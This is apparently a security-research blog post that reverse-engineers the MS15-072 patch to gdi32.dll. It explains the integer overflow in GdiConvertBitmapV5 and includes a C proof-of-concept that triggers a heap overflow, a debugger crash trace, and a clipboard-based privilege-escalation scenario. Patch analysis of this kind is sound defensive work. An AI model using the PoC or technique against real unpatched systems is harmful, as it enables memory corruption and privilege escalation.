This post was authored by Marcin Noga with contributions from Jaeson Schultz.

Have you ever thought about how security researchers take a patch that has been released, and then reverse it to find the underlying security issue? Well, back In July Microsoft released security bulletin MS15-072, titled: "Vulnerability in Windows Graphics Component Could Allow Elevation of Privilege (3069392)”. According to Microsoft, this vulnerability "could allow elevation of privilege if the Windows graphics component fails to properly process bitmap conversions.” Talos decided to have a deeper look at this vulnerability in order to better understand it, and this post describes the details of this process so that our readers may gain a better understanding of how this is done.

Table of Contents

  1. Diffing
  2. GdiConvertBitmapV5 analysis
  3. What does the RtlAllocateHeap "size" value consist of?
  4. Places where buffer overflow /writeAV can appear
  5. Proof of Concept (PoC)
  6. Crash analysis
  7. Where is this API called?
  8. Potential attack scenarios
  9. Summary

1. Diffing Microsoft helpfully includes a list of files updated by the patch. Checking the file list in KB3069392 we find that the vulnerability is located in Gdi32.dll. Knowing all necessary facts at the beginning we can start further investigation.

Prior to the patch for MS15-072, the most recent changes made to gdi32.dll happened back in April 2015 as a result of MS15-035. For analysis purpose Talos downloaded security patches from both bulletins dedicated for Windows 7 SP1 X86.

To obtain necessary information about changed functions, we used BinDiff tool and the Limited Distribution Release (LDR) version of both Windows DLL files. In the following graphic, we see the result of BinDiffing:


Note that there are thirteen functions that BinDiff suggests which have some changes in code. If you have experience with diffing tools you know that they do not always yield perfect results, and this time was no exception. After quick glance into all of these thirteen functions it turns out that only seven functions contain significant fixes that are related to security issues:

a) Patches against integer overflows with usage of Intsafe.h functions.

  • GdiGetBitmapBitsSize
  • cjBitmapBitsSize (just a wrapper for GdiGetBitmapBitsSize)
  • bMetaGetDIBInfo
  • hrBitmapScanSize
  • GdiConvertBitmapV5
  • MF_AnyDIBits  b) Patch to disallow passing a zero value in the 14th parameter to the NtGdiStretchDIBitsInternal syscall.
  • StretchDIBits After performing a deeper analysis of each of these functions, one of them, GdiConvertBitmapV5, stands out in significant way because the integer overflow in this function leads directly to a heap based buffer overflow. Additionally, this same function is part of an exported Application Program Interface (API) called by other API’s from different DLL’s, dramatically increasing its chances for exploitation.

2. GdiConvertBitmapV5 analysis Looking at this function name and googling a bit, it is easy to obtain more information about the purpose of this function, and its parameters. The general purpose of this function is to convert a DIBV5 image into either  a DIB or BITMAP, depending on 4th parameter.

Let’s try and understand where the bug is, and how we can trigger it.

On the left is the patched function vs. the unpatched function on the right. Red blocks indicate added code


And here is a view with much more detail:

On the left side is the patched function, on the right is the unpatched one

In the above screenshot (focus on the patched side) we can see that all calculations made on parameters which take a part of calculation "Size" value for RtlAllocateHeap API are wrapped into IntSafe function calls. A quick glance on right side of screenshot and we see that the size parameter for RtlAllocateHeap is a result of adding three values without any check against integer overflow.

That's the place where we will try to gain overflow and later abuse it. Now let’s examine the unpatched function body, and try to determine how we can control significant parameters and where later potential writeAV will appear.

Line 1              HBITMAP __stdcall GdiConvertBitmapV5(BITMAPV5HEADER *pbmih, int srcSize, int hPalette, int srcFormat)
Line 2              {
Line 3              DWORD v4; // eax@5
Line 4              DWORD v5; // eax@8
Line 5              WORD v6; // cx@11
Line 6              char *v7; // ebx@21
Line 7              int v8; // eax@26
Line 8              signed int v9; // edx@28
Line 9              PVOID v10; // eax@30
Line 10             signed int v11; // ebx@31
Line 11             int v12; // edi@32
Line 12             int v13; // eax@32
Line 13             void *v14; // eax@35
Line 14             int v15; // eax@38
Line 15             int v16; // edx@40
Line 16             void *v17; // edx@46
Line 17             BITMAPV5HEADER *v18; // eax@46
Line 18             void *v19; // edx@46
Line 19             const void *v20; // ecx@46
Line 20             int v21; // edx@47
Line 21             size_t v22; // esi@48
Line 22             WORD v23; // cx@56
Line 23             DWORD v24; // ecx@57
Line 24             DWORD v25; // ecx@60
Line 25             DWORD v26; // ecx@70
Line 26             DWORD v27; // edx@73
Line 27             int v28; // eax@82
Line 28             HDC v30; // eax@96
Line 29             HDC v31; // edi@96
Line 30             int a3; // [sp+Ch] [bp-2A8h]@32
Line 31             int v33; // [sp+18h] [bp-29Ch]@38
Line 32             int v34; // [sp+1Ch] [bp-298h]@38
Line 33             int v35; // [sp+20h] [bp-294h]@38
Line 34             int v36; // [sp+24h] [bp-290h]@40
Line 35             int v37; // [sp+28h] [bp-28Ch]@40
Line 36             size_t v38; // [sp+2Ch] [bp-288h]@26
Line 37             int v39; // [sp+30h] [bp-284h]@40
Line 38             int v40; // [sp+34h] [bp-280h]@40
Line 39             int v41; // [sp+38h] [bp-27Ch]@32
Line 40             int v42; // [sp+3Ch] [bp-278h]@3
Line 41             BITMAPV5HEADER *v43; // [sp+40h] [bp-274h]@1
Line 42             void *Src; // [sp+44h] [bp-270h]@24
Line 43             HBITMAP v45; // [sp+48h] [bp-26Ch]@40
Line 44             HGLOBAL hMem; // [sp+4Ch] [bp-268h]@1
Line 45             PVOID Address; // [sp+50h] [bp-264h]@32
Line 46             int v48; // [sp+54h] [bp-260h]@3
Line 47             void *Dst; // [sp+58h] [bp-25Ch]@31
Line 48             int a4; // [sp+5Ch] [bp-258h]@32
Line 49             size_t Size; // [sp+60h] [bp-254h]@3
Line 50             LOGCOLORSPACE colorSpace; // [sp+64h] [bp-250h]@32
Line 51
Line 52             v43 = pbmih;
Line 53             hMem = 0;
Line 54             if ( !pbmih )
Line 55                      return 0;
Line 56             if ( !srcSize )
Line 57                      return 0;
Line 58             Size = -1;
Line 59             v48 = 0;
Line 60             v42 = 0;
Line 61             if ( !ghICM && !IcmInitialize() )
Line 62                      return 0;
Line 63             v4 = pbmih->bV5Compression;
Line 64             if ( v4 == 3 )
Line 65             {
Line 66                      Size = 0;
Line 67                      v42 = 1;
Line 68                      goto LABEL_20;
Line 69             }
Line 70             if ( v4 )
Line 71             {
Line 72                      if ( v4 == 2 )
Line 73                      {
Line 74                        Size = 64;
Line 75                        v48 = 1;
Line 76                        goto LABEL_20;
Line 77                      }
Line 78                      if ( v4 != 1 )
Line 79                        return 0;
Line 80                      Size = 1024;
Line 81                      goto LABEL_18;
Line 82             }
Line 83             v5 = pbmih->bV5ClrUsed;
Line 84             if ( !v5 )
Line 85             {
Line 86                      v6 = pbmih->bV5BitCount;
Line 87                      if ( v6 > 8u )
Line 88                      {
Line 89                        Size = 0;
Line 90                        goto LABEL_19;
Line 91                      }
Line 92                      Size = 4 * (1 << v6);
Line 93                      goto LABEL_18;
Line 94             }
Line 95             ULongLongToULong(4 * v5, v5 >> 30, &Size);
Line 96             if ( pbmih->bV5BitCount <= 8u )
Line 97           LABEL_18:
Line 98                      v48 = 1;
Line 99           LABEL_19:
Line 100           if ( Size == -1 )
Line 101                    return 0;
Line 102         LABEL_20:
Line 103           if ( pbmih->bV5Size != 0x7C )
Line 104           {
Line 105                    if ( pbmih->bV5Size != 0x6C )
Line 106                    {
Line 107                      v7 = &pbmih->bV5Intent + Size;
Line 108                      goto LABEL_24;
Line 109                    }
Line 110                    return 0;
Line 111           }
Line 112           v7 = &pbmih[1] + pbmih->bV5ProfileSize + Size;
Line 113         LABEL_24:
Line 114           Src = v7;
Line 115           if ( !v7 )
Line 116                    return 0;
Line 117           if ( srcFormat == CF_DIB )
Line 118           {
Line 119                    v8 = cjBitmapBitsSize(pbmih);
Line 120                    v38 = v8;
Line 121                    if ( !v8 )
Line 122                      return hMem;
Line 123                    v9 = v42 ? 12 : Size;
Line 124                    v10 = RtlAllocateHeap(handle, 0, v9 + v8 + 0x28);
Line 125                    hMem = v10;
Line 126                    if ( !v10 )
Line 127                      return hMem;
Line 128                    v11 = 0;
Line 129                    Dst = GlobalLock(v10);
Line 130                    if ( !Dst
Line 131                      || (v12 = 0,
Line 132                                a4 = 0,
Line 133                                v41 = 0,
Line 134                                Address = 0,
Line 135                                v13 = IcmGetBitmapColorSpace(pbmih, &colorSpace, &a3, &a4),
Line 136                                v11 = v13 == 0,
Line 137                                !v13) )
Line 138                    {
Line 139         LABEL_92:
Line 140                      GlobalUnlock(hMem);
Line 141                      if ( v11 )
Line 142                      {
Line 143                              RtlFreeHeap(*(*(__readfsdword(24) + 48) + 24), 0, hMem);
Line 144                              hMem = 0;
Line 145                      }
Line 146                      return hMem;
Line 147                    }
Line 148                    if ( colorSpace.lcsCSType == 'sRGB' || colorSpace.lcsCSType == 'Win ' )
Line 149                    {
Line 150                      a4 = 0;
Line 151                    }
Line 152                    else
Line 153                    {
Line 154                      v14 = IcmGetOrCreateColorSpaceByColorSpace(v11, &colorSpace, &a3, a4);
Line 155                      Address = v14;
Line 156                      if ( v14 && IcmRealizeColorProfile(v14, 1) )
Line 157                              v12 = *(Address + 5);
Line 158                      v33 = 1;
Line 159                      v34 = L"sRGB Color Space Profile.icm";
Line 160                      v35 = 520;
Line 161                      v15 = fpWcsOpenColorProfileW(&v33, 0, 0, 1, 3, 3, 0);
Line 162                      v41 = v15;
Line 163                      if ( !v12 )
Line 164                              goto LABEL_105;
Line 165                      if ( !v15 )
Line 166                              goto LABEL_105;
Line 167                      v16 = *(Address + 6);
Line 168                      v37 = v15;
Line 169                      a4 = 2;
Line 170                      v45 = 1;
Line 171                      v39 = 1;
Line 172                      v40 = v16;
Line 173                      v36 = v12;
Line 174                      if ( !IcmAreIccProfiles(&v36, 2, &v45) )
Line 175                              goto LABEL_105;
Line 176                      if ( !v45 )
Line 177                      {
Line 178                              v39 = -1;
Line 179                              a4 = 1;
Line 180                      }
Line 181                      a4 = fpCreateMultiProfileTransform(&v36, 2, &v39, a4, 65538, 0);
Line 182                      if ( !a4 )
Line 183                      {
Line 184         LABEL_105:
Line 185                              v11 = 1;
Line 186         LABEL_88:
Line 187                              if ( v41 )
Line 188                                fpCloseColorProfile(v41);
Line 189                              if ( Address )
Line 190                                IcmReleaseColorSpace(0, Address, 0);
Line 191                              goto LABEL_92;
Line 192                      }
Line 193                    }
Line 194                    v17 = Dst;
Line 195                    v18 = v43;
Line 196                    qmemcpy(Dst, v43, 40u);
Line 197                    *v17 = 40;
Line 198                    v19 = v17 + 40;
Line 199                    v20 = v18 + v18->bV5Size;
Line 200                    Dst = v19;
Line 201                    if ( v42 )
Line 202                    {
Line 203                      *v19 = v18->bV5RedMask;
Line 204                      v21 = (v19 + 4);
Line 205                      *v21 = v18->bV5GreenMask;
Line 206                      v21 += 4;
Line 207                      *v21 = v18->bV5BlueMask;
Line 208                      Dst = (v21 + 4);
Line 209                    }
Line 210                    else
Line 211                    {
Line 212                      v22 = Size;
Line 213                      if ( Size )
Line 214                      {
Line 215                              if ( v48 && a4 )
Line 216                                v11 = fpTranslateBitmapBits(a4, v20, 8, Size >> 2, 1, 0, Dst, 8, 0, 0, 0) == 0;
Line 217                              else
Line 218                                memcpy(Dst, v20, Size);
Line 219                              Dst = Dst + v22;
Line 220                              v18 = v43;
Line 221                      }
Line 222                    }
Line 223                    if ( v48 || !a4 )
Line 224                    {
Line 225                      memcpy(Dst, Src, v38);
Line 226         LABEL_86:
Line 227                      if ( a4 )
Line 228                              fpDeleteColorTransform(a4);
Line 229                      goto LABEL_88;
Line 230                    }
Line 231                    v23 = v18->bV5BitCount;
Line 232                    if ( v23 == 16 )
Line 233                    {
Line 234                      v24 = v18->bV5Compression;
Line 235                      if ( !v24 )
Line 236                      {
Line 237         LABEL_58:
Line 238                              Size = 0;
Line 239                              goto LABEL_81;
Line 240                      }
Line 241                      if ( v24 == 3 )
Line 242                      {
Line 243                              v25 = v18->bV5RedMask;
Line 244                              if ( v25 == 31744 && v18->bV5GreenMask == 992 && v18->bV5BlueMask == 31 )
Line 245                                goto LABEL_58;
Line 246                              if ( v25 == 63488 && v18->bV5GreenMask == 2016 && v18->bV5BlueMask == 31 )
Line 247                              {
Line 248                                Size = 1;
Line 249                                goto LABEL_81;
Line 250                              }
Line 251                      }
Line 252                    }
Line 253                    else
Line 254                    {
Line 255                      if ( v23 == 24 )
Line 256                      {
Line 257                              Size = 2;
Line 258                              goto LABEL_81;
Line 259                      }
Line 260                      if ( v23 == 32 )
Line 261                      {
Line 262                              v26 = v18->bV5Compression;
Line 263                              if ( !v26 )
Line 264                                goto LABEL_106;
Line 265                              if ( v26 == 3 )
Line 266                              {
Line 267                                v27 = v18->bV5RedMask;
Line 268                                if ( v27 == 255 && v18->bV5GreenMask == 65280 && v18->bV5BlueMask == 16711680 )
Line 269                                {
Line 270                                         Size = 16;
Line 271                                         goto LABEL_81;
Line 272                                }
Line 273                                if ( v27 == 16711680 && v18->bV5GreenMask == 65280 && v18->bV5BlueMask == 255 )
Line 274                                {
Line 275         LABEL_106:
Line 276                                         Size = 8;
Line 277                                         goto LABEL_81;
Line 278                                }
Line 279                              }
Line 280                      }
Line 281                    }
Line 282                    v11 = 1;
Line 283         LABEL_81:
Line 284                    if ( !v11 )
Line 285                    {
Line 286                      v28 = v18->bV5Height;
Line 287                      if ( v28 < 0 )
Line 288                              v28 = -v28;
Line 289                      v11 = fpTranslateBitmapBits(a4, Src, Size, v43->bV5Width, v28, 0, Dst, Size, 0, 0, 0) == 0;
Line 290                    }
Line 291                    goto LABEL_86;
Line 292           }
Line 293           if ( srcFormat != 2 )
Line 294                    return 0;
Line 295           v30 = GetDC(0);
Line 296           v45 = 0;
Line 297           v31 = v30;
Line 298           if ( v30 )
Line 299           {
Line 300                    if ( IcmSetDestinationColorSpace(v30, L"sRGB Color Space Profile.icm", 0, 0) && SetICMMode(v31, 2) )
Line 301                      v45 = CreateDIBitmap(v31, pbmih, 4u, v7, pbmih, 0);
Line 302                    SetICMMode(v31, 1);
Line 303                    ReleaseDC(0, v31);
Line 304           }
Line 305           return v45;
Line 306         }


Because we are going to explore code around RtlAllocateHeap and its related parameters we note that a call to this API is made inside the IF instruction on line 117. To trigger the overflow vulnerability, the GdiConvertBitmapV5 function needs to convert DIBV5 to DIB, so format parameter needs to be set to CF_DIB.

3. What does the RtlAllocateHeap "size" value consist of? We see in line 124:

v10 = RtlAllocateHeap(*(*(__readfsdword(24) + 48) + 24), 0, v9 + v8 + 0x28);

that the value of the size parameter is a result of adding v9 + v8 + 0x28 where:

- 0x28
Is header size.

-  v9
Depends on Line 123 its value can be 12 or Size. We will control code flow to give us possibility to easily manipulate the Size variable value, in Line 95. In that way Size will be multiplication of bV5ClrUsed field and 4.

- v8 is a result of cjBitmapBitsSize( GdiGetBitmapBitsSize )  [it's one of the function that was also patched against IO]. Without going into details, the following parameters are used in this function to calculate results value: biSizeImage, biWidth, biHeight, biPlanes,biBitCount.

As you can see above, and also after taking a glance into the code, there are many ways in which we can control parameters to trigger the integer overflow.

4. Places where buffer overflow / writeAV can appear The first write to the buffer allocated by RtlAllocateHeap where IO occurred is in line 196, but it is just a header copying. So controlling content with desirable values can be hard, taking into account that values need to be chosen in a way to trigger IO. Is better to allocate more than 40 bytes data so we don't corrupt the heap there. Lines 216, 218, 225 look more promising. It's time to create PoC.

5. Proof of Concept (PoC) As an example, below is a PoC that triggers a heap overflow in line 218 of the vulnerable code --where we find a memcpy based on the Size value. Size value is calculated in line 95, where mostly it is based on the bV5ClrUsed field.

#include "stdafx.h"
#include <windows.h>
#pragma comment(lib,"Gdi32.lib")

typedef ULONG(__stdcall *pGdiConvertBitmapV5)(PBYTE bitmap, int bitmapSize, int hPalette, int srcFormat);

int _tmain(int argc, _TCHAR* argv[])
{
         BITMAPV5HEADER pbmih;
         pGdiConvertBitmapV5 GdiConvertBitmapV5;
         HMODULE hModule = LoadLibraryA("gdi32.dll");
         GdiConvertBitmapV5 = (pGdiConvertBitmapV5)GetProcAddress(hModule, "GdiConvertBitmapV5");

         const int bitmapSize = 260;
         //set structure
         pbmih.bV5Size = 0x7c;
         pbmih.bV5Width = 5;
         pbmih.bV5Height = 5;
         pbmih.bV5Planes = 1;
         pbmih.bV5BitCount = 24;
         pbmih.bV5Compression = 0;
         pbmih.bV5SizeImage = 80;
         pbmih.bV5XPelsPerMeter = 0;
         pbmih.bV5YPelsPerMeter = 0;
         pbmih.bV5ClrUsed = 0x3fffffed; //Palette Size
         pbmih.bV5ClrImportant = 0; //colors important
         pbmih.bV5CSType = LCS_sRGB;
         
         BYTE bitmap[bitmapSize];
         memcpy(bitmap, &pbmih, sizeof(pbmih));
         memset(bitmap + sizeof(pbmih), 0x41, bitmapSize - sizeof(pbmih));

         GdiConvertBitmapV5(bitmap, bitmapSize, 0, CF_DIB);


         return 0;
}


Let’s debug it and focus on the most important parts.

6. Crash analysis

************* Symbol Path validation summary **************
Executable search path is:
ModLoad: 01000000 0101d000   ConsoleApplication1.exe
ModLoad: 77520000 77661000   ntdll.dll
ModLoad: 77240000 77314000   C:\Windows\system32\kernel32.dll
ModLoad: 755a0000 755eb000   C:\Windows\system32\KERNELBASE.dll
ModLoad: 76dc0000 76e89000   C:\Windows\system32\USER32.dll
ModLoad: 765c0000 7660e000   C:\Windows\system32\GDI32.dll
ModLoad: 77690000 7769a000   C:\Windows\system32\LPK.dll
ModLoad: 767f0000 7688d000   C:\Windows\system32\USP10.dll
ModLoad: 776c0000 7776c000   C:\Windows\system32\msvcrt.dll
ModLoad: 541d0000 5438f000   C:\Windows\system32\MSVCR120D.dll
(ba4.874): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=0027f3fc edx=775671b4 esi=fffffffe edi=00000000
eip=775c09c6 esp=0027f418 ebp=0027f444 iopl=0             nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2c:
775c09c6 cc              int         3
0:000> lm
start        end            module name
01000000 0101d000   ConsoleApplication1   (deferred)                 
541d0000 5438f000   MSVCR120D   (deferred)                 
755a0000 755eb000   KERNELBASE   (deferred)                 
765c0000 7660e000   GDI32          (deferred)                 
767f0000 7688d000   USP10          (deferred)                 
76dc0000 76e89000   USER32         (deferred)                 
77240000 77314000   kernel32   (deferred)                 
77520000 77661000   ntdll          (pdb symbols)          c:\localsymbols\ntdll.pdb\273F7016BBCF4C42997A0FCA2303B8442\ntdll.pdb
77690000 7769a000   LPK            (deferred)                 
776c0000 7776c000   msvcrt         (deferred)                 
0:000> .reload /f gdi32.dll
0:000> lm
start        end            module name
01000000 0101d000   ConsoleApplication1   (deferred)                 
541d0000 5438f000   MSVCR120D   (deferred)                 
755a0000 755eb000   KERNELBASE   (deferred)                 
765c0000 7660e000   GDI32          (pdb symbols)          c:\localsymbols\gdi32.pdb\A4A5416846A245CA9113466D9DD962C92\gdi32.pdb
767f0000 7688d000   USP10          (deferred)                 
76dc0000 76e89000   USER32         (deferred)                 
77240000 77314000   kernel32   (deferred)                 
77520000 77661000   ntdll          (pdb symbols)          c:\localsymbols\ntdll.pdb\273F7016BBCF4C42997A0FCA2303B8442\ntdll.pdb
77690000 7769a000   LPK            (deferred)                 
776c0000 7776c000   msvcrt     (deferred)                 
0:000> bu GdiConvertBitmapV5
0:000> bl
 0 e 765f3374         0001 (0001)  0:**** GDI32!GdiConvertBitmapV5
0:000> g
ModLoad: 77670000 7768f000   C:\Windows\system32\IMM32.DLL
ModLoad: 76f80000 7704c000   C:\Windows\system32\MSCTF.dll
Breakpoint 0 hit
*** WARNING: Unable to verify checksum for ConsoleApplication1.exe
eax=0027f59c ebx=7ffd9000 ecx=0027f6a0 edx=00000000 esi=0027f4cc edi=0027f750
eip=765f3374 esp=0027f4b8 ebp=0027f750 iopl=0             nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00000206
GDI32!GdiConvertBitmapV5:
765f3374 8bff            mov         edi,edi


Let’s set a breakpoint on the instruction where v8 and v9 variable are added:

0:000> bp GDI32!GdiConvertBitmapV5+0x174
0:000> g
ModLoad: 604d0000 60549000   C:\Windows\system32\mscms.dll
ModLoad: 75690000 756a7000   C:\Windows\system32\USERENV.dll
ModLoad: 764e0000 76582000   C:\Windows\system32\RPCRT4.dll
ModLoad: 75510000 7551b000   C:\Windows\system32\profapi.dll
Breakpoint 1 hit
eax=00000050 ebx=ccf4c298 ecx=0027f59c edx=ffffffb4 esi=0027f59c edi=00000000
eip=765f34e8 esp=0027f200 ebp=0027f4b4 iopl=0             nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00000246
GDI32!GdiConvertBitmapV5+0x174:
765f34e8 648b0d18000000  mov         ecx,dword ptr fs:[18h] fs:003b:00000018=7ffdf000
0:000> p
eax=00000050 ebx=ccf4c298 ecx=7ffdf000 edx=ffffffb4 esi=0027f59c edi=00000000
eip=765f34ef esp=0027f200 ebp=0027f4b4 iopl=0             nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00000246
GDI32!GdiConvertBitmapV5+0x17b:
765f34ef 8d440228        lea         eax,[edx+eax+28h]


You can probably guess but:
eax = v8 and edx = v9

Looks like it will overflow perfectly, let’s see:

0:000> g
Breakpoint 2 hit
eax=003da7f0 ebx=ccf4c298 ecx=775760c3 edx=003da7eb esi=0027f59c edi=00000000
eip=765f3502 esp=0027f200 ebp=0027f4b4 iopl=0             nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00000246
GDI32!GdiConvertBitmapV5+0x18e:
765f3502 898598fdffff    mov         dword ptr [ebp-268h],eax ss:0023:0027f24c=00000000


We stop just after RtlAllocateHeap call to get information about allocated space:

0:000> !heap -p -a 003da7f0
        address 003da7f0 found in
        _HEAP @ 3d0000
          HEAP_ENTRY Size Prev Flags        UserPtr UserSize - state
            003da7e8 0009 0000  [00]   003da7f0    0002c - (busy)

Just for the record, we glance on next heap chunk. We will see how it will be malformed after we overflow it later:

0:000> !heap -p -a 003da7f0+2c+20
        address 003da83c found in
        _HEAP @ 3d0000
          HEAP_ENTRY Size Prev Flags        UserPtr UserSize - state
            003da830 001a 0000  [00]   003da838    000c8 - (free)


Ok, let’s trigger the vulnerability:

       
0:000> g
(ba4.874): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0027f5cc ebx=00000000 ecx=3ffff9f3 edx=00000000 esi=00280e00 edi=003dc000
eip=77554d33 esp=0027f1e4 ebp=0027f1ec iopl=0             nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00010202
ntdll!memcpy+0x33:
77554d33 f3a5                rep movs dword ptr es:[edi],dword ptr [esi]                        

0:000> !analyze -v
FAULTING_IP:
ntdll!memcpy+33
77554d33 f3a5                rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77554d33 (ntdll!memcpy+0x00000033)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 003dc000
Attempt to write to address 003dc000

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=0027f5cc ebx=00000000 ecx=3ffff9f3 edx=00000000 esi=00280e00 edi=003dc000
eip=77554d33 esp=0027f1e4 ebp=0027f1ec iopl=0             nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00010202
ntdll!memcpy+0x33:
77554d33 f3a5                rep movs dword ptr es:[edi],dword ptr [esi]
(...)

0:000> kbn
 # ChildEBP RetAddr  Args to Child                  
00 0027f1ec 765f3743 003da818 0027f618 ffffffb4 ntdll!memcpy+0x33
01 0027f4b4 010116fe 0027f59c 00000104 00000000 GDI32!GdiConvertBitmapV5+0x3cf
02 0027f750 010119a3 00000000 00000000 7ffd9000 ConsoleApplication1!vuln1+0x10e [c:\users\icewall\documents\visual studio 2013\projects\consoleapplication1\consoleapplication1\consoleapplication1.cpp @ 66]
03 0027f824 01011f49 00000001 003d79e8 003d7b00 ConsoleApplication1!wmain+0x23 [c:\users\icewall\documents\visual studio 2013\projects\consoleapplication1\consoleapplication1\consoleapplication1.cpp @ 96]
04 0027f874 0101213d 0027f888 7728ee6c 7ffd9000 ConsoleApplication1!__tmainCRTStartup+0x199 [f:\dd\vctools\crt\crtw32\dllstuff\crtexe.c @ 623]
05 0027f87c 7728ee6c 7ffd9000 0027f8c8 77583ab3 ConsoleApplication1!wmainCRTStartup+0xd [f:\dd\vctools\crt\crtw32\dllstuff\crtexe.c @ 466]
06 0027f888 77583ab3 7ffd9000 775ec188 00000000 kernel32!BaseThreadInitThunk+0xe
07 0027f8c8 77583a86 01011091 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70
08 0027f8e0 00000000 01011091 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> .frame /r 1
01 0027f4b4 010116fe GDI32!GdiConvertBitmapV5+0x3cf
eax=0027f5cc ebx=00000000 ecx=3ffff9f3 edx=00000000 esi=00280e00 edi=003dc000
eip=765f3743 esp=0027f1f4 ebp=0027f4b4 iopl=0             nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00010202
GDI32!GdiConvertBitmapV5+0x3cf:
765f3743 83c40c          add         esp,0Ch
0:000> ub 765f3743 Lc
GDI32!GdiConvertBitmapV5+0x3ac:
765f3720 51              push        ecx
765f3721 ffb5a8fdffff    push        dword ptr [ebp-258h]
765f3727 ff1554986076    call        dword ptr [GDI32!fpTranslateBitmapBits (76609854)]
765f372d 8bd8            mov         ebx,eax
765f372f f7db            neg         ebx
765f3731 1bdb            sbb         ebx,ebx
765f3733 43              inc         ebx
765f3734 eb10                jmp     GDI32!GdiConvertBitmapV5+0x3d2 (765f3746)
765f3736 56              push        esi
765f3737 51              push        ecx
765f3738 ffb5a4fdffff    push        dword ptr [ebp-25Ch]
765f373e e84535fdff      call        GDI32!memcpy (765c6c88)


Yeah! WriteAV triggered in the planned place. Let’s see what happened with heap chunk after our buffer:

0:000> !heap -p -a 003da7f0+2c+20
        address 003da83c found in
        _HEAP @ 3d0000
          HEAP_ENTRY Size Prev Flags        UserPtr UserSize - state
            003da830 4141 0000  [00]   003da838    1c8c7 - (busy) [windbg]


Corrupted with bunch of 0x41 ('A') as expected.

7. Where is this API called? We see above that indeed a malformed DIBV5 image during conversion to DIB can trigger a heap based buffer overflow in the GdiConvertBitmapV5 API. But, where exactly in Windows components / applications this API is called? It's an exported function, indeed, but not a public one. It turns out that GdiConvertBitmapV5 is used by user32.dll in GetClipboardData.

Now a potential way to trigger vuln using public API should be obvious (at least in theory):

  • put malformed image into clipboard in DIBV5 via SetClipboardData with format CF_DIBV5
  • force application to grab malformed image from clipboard via GetClipboardData with CF_DIB parameter.

8. Potential attack scenarios

Privilege Escalation Microsoft acknowledges the risk of privilege escalation in their bulletin description:
"Vulnerability in Windows Graphics Component Could Allow Elevation of Privilege (3069392)". Therefor this kind of attack is quite obvious: Applications with low privilege can put a malformed DIBV5 into the clipboard and induce a high privilege application/service to pull out data with proper format and, in the process, trigger the heap overflow.

A closer examination of the clipboardData interface informs us that it is very limited as we would expect. In all browsers you can't directly control the native format parameter during the process of copying data to the clipboard, and a similar scenario exists when you try to extract the clipboard data. Doing short research Talos did not find any intermediate way to force browser to copy image into clipboard in DIBV5 format. What about other technologies like Flash, Java applets, Mozilla XUL, etc.? This case looks similar: Access to clipboard is limited to basic formats, needs special privilege assigned by user or is completely blocked.

9. Summary MS15-072 reminds us how interesting and dangerous data manipulation/transfer via clipboard can be. In Talos’ limited amount of research using web browsers, we did not find a way to control the native format parameter, which greatly limits the exploitative properties of this vulnerability. Finding a way to trigger it, of course depends on the technology, and we have not explored all the ways that programs may interact with the Windows clipboard.

This the life of the security researcher. In order to determine the exploitability of a vulnerability we must fully understand the issue. No matter whether a vulnerability is exploitable or not, the extra knowledge gained through reverse engineering helps Talos provide comprehensive protection against emerging threats.